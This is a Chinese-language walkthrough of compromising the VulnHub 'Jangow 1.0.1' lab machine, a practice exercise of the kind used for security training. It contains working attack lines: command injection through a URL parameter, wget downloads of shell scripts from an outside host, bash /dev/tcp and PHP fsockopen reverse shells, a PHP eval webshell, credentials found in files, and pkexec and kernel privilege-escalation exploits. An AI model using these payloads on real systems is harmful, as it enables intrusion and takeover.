靶机下载地址: https://www.vulnhub.com/entry/jangow-101,754/
教程链接地址: https://blog.csdn.net/kukudeshuo/article/details/122977917
# 确认攻击目标
攻击机 KALI: 192.168.31.135
靶机 JANGOW:桥接于 192.168.31.1 的网卡,ip 未知
1)arp 确定靶机地址
sudo arp-scan -l

不同的设备会表现出不同的 MAC 地址,这里没有显示出两个相同的 MAC 地址,不好判断哪个才是真正的靶机地址
1 | 确认承载靶机的win机器的MAC地址 |

通过比较上述两个图可以发现 A0-D3-7A-07-9E-8C 是 win 机器的 MAC 地址,而位于 win 机器上的靶机应该跟 win 主机享有同样的 MAC 地址,因此可以确定目标靶机的 ip 地址为 27
- 确认靶机 ip 开放的端口信息
sudo nmap -A -p- 192.168.31.27

-> 靶机开放端口 21, 80
# 网站信息收集
打开 http://192.168.31.27 进行信息收集

先对目标网站进行目录扫描
dirsearch -u http://192.168.31.27/

gobuster dir -x php,txt,html,zip,rar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.27/

-> 只出现了一个目录 http://192.168.31.27/site

对这个网站可以点击的地方进行了检查,发现存在下面这个 url 地址:http://192.168.31.27/site/busque.php?buscar=

疑似是一个后门文件,尝试进行 rce 注入
# RCE 漏洞反弹 shell

RCE 漏洞存在,接下来通过这个地方进行反弹 shell,先判断目标服务器是否存在下列可以用来反弹 shell 的命令,可以用 curl bash php 来反弹 shell
http://192.168.31.27/site/busque.php?buscar=which curl;which bash;which python;which php;

用 wget 来下马,并查看是否将文件下载到了目标服务器上
http://192.168.31.27/site/busque.php?buscar=wget http://www.chentuo.asia/shell.sh;ls

发现并没有文件被上传上去
# RCE 漏洞绕过方式
思考是否是因为 sh 脚本的原因,换成 php 文件尝试下载
http://192.168.31.27/site/busque.php?buscar=wget http://www.chentuo.asia/shell.php;ls

发现 php 文件也无法被上传上去
1 | 直接通过bash反弹shell 的命令在url地址上执行 |
http://192.168.31.27/site/busque.php?buscar=bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'

直接通过 bash 反弹也是失败的,尝试通过 php 的代码来反弹
1 | php -r '$sock=fsockopen("192.168.31.135",4444);exec("/bin/sh -i <&3 >&3 2>&3");'http://192.168.31.27/site/busque.php?buscar=php%20-r%20%27$sock=fsockopen(%22192.168.31.135%22,4444);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);%27 |

php 反弹 shell 也被服务器拒绝,下面通过 echo 来给服务器上写文件,看是否能写上文件 echo “1” > 1.php;ls
http://192.168.31.27/site/busque.php?buscar=echo "1">1.php;ls

-> 可以写文件,那么就尝试可以写后门
# echo 后门至服务器
通过 echo 将 bash 反弹的代码写到目标服务器上
http://192.168.31.27/site/busque.php?buscar=echo “bash -c ‘bash -i >& /dev/tcp/192.168.31.135/4444 0>&1’” > 1.sh

写入失败,页面无反应,看来不能写 sh 文件,还得写 php 文件
写一个 php 一句话后门,判断是否能写上
echo ‘’ >attack.php http://192.168.31.27/site/busque.php?buscar=echo '<?php @eval($_P)OST[‘x’]);%20?%3E%27%20%3E%20attack.php;ls

-> php 一句话后门写入成功
查看写的文件是否完整
view-source:http://192.168.31.27/site/busque.php?buscar=cat attack.php

-> 拿到了网站权限
# 蚁剑突破网站权限
通过蚁剑连接到一句话后门的网站
http://192.168.31.27/site/attack.php 密码就是 attack.php 文件中的 x

测试连接成功,可以用来连接网站,尔后可以看到服务器上所有的文件

1 | 新建一个 1.php,用来通过php来系统命令反弹shell |

写入文件成功了,但是没有被执行,并且查看文件发现是空的
view-source:http://192.168.31.27/site/1.php
换了多个端口都失败了,最后查阅资料,发现服务器关闭了除 443 以外的端口,监听 443 端口,访问 url 地址,将命令执行等待反弹,访问 http://192.168.31.27/site/1.php 时,命令被执行,shell 成功反弹

-> 拿到服务器权限
# 翻阅文件突破
翻阅网站文件,找到数据库配置文件 config.php,有用户名和密码

-> /var/www/html/site/wordpress/config.php desafio02:abygurl69
找到一个网站的备份文件,同样有一个用户名和密码

-> /var/www/html/.backup jangow01:abygurl69
尝试用户名密码登陆,通过 jangow01:abygurl69 登陆成功

-> 获取到 jangow01 权限
# FTP 上传 EXP
服务器存在 s 权限的 pkexec,尝试 pkexec 提权,同时收集到服务器版本为 4.4.0-31 ubuntu

提前准备好的 pkexec exp 在 kali 上,将其发送至靶机上

kali 开启的 python 简易 web 服务器后无法下载,可能被限制了
而且 ssh 服务并没有启动,用不了 scp 传输文件,并且 ping 不到 kali 机器上
通过靶机上开放的 ftp 来传输文件,将 CVE-2021-4034 .zip 发送服务器上
通过 jangow01:abygurl69 成功登陆到了 ftp 服务上

发送 CVE-2021-4034 文件时报错,显示不能发送文件夹
因此改为了发送 CVE-2021-4034.zip 文件
继续在反弹的 shell 上执行,当编译时,发现没有 make 命令

-> 提权失败,需要通过其他的方式提权
# searchsploit 提权
1 | 注意到服务器的版本是ubuntu 4.4.0的,用 searchsploit 寻找漏洞 |

cp /usr/share/exploitdb/exploits/linux/local/45010.c .

通过 ftp 将内核漏洞权限提升的脚本上传,lcd 可以在 ftp 中用来切换本地的路径,cd 可以在 ftp 中用来切换所属 ftp 服务的主机的目录

1 | 将上传的 45010.c文件编译运行 |

-> 提权成功,拿到了 root 权限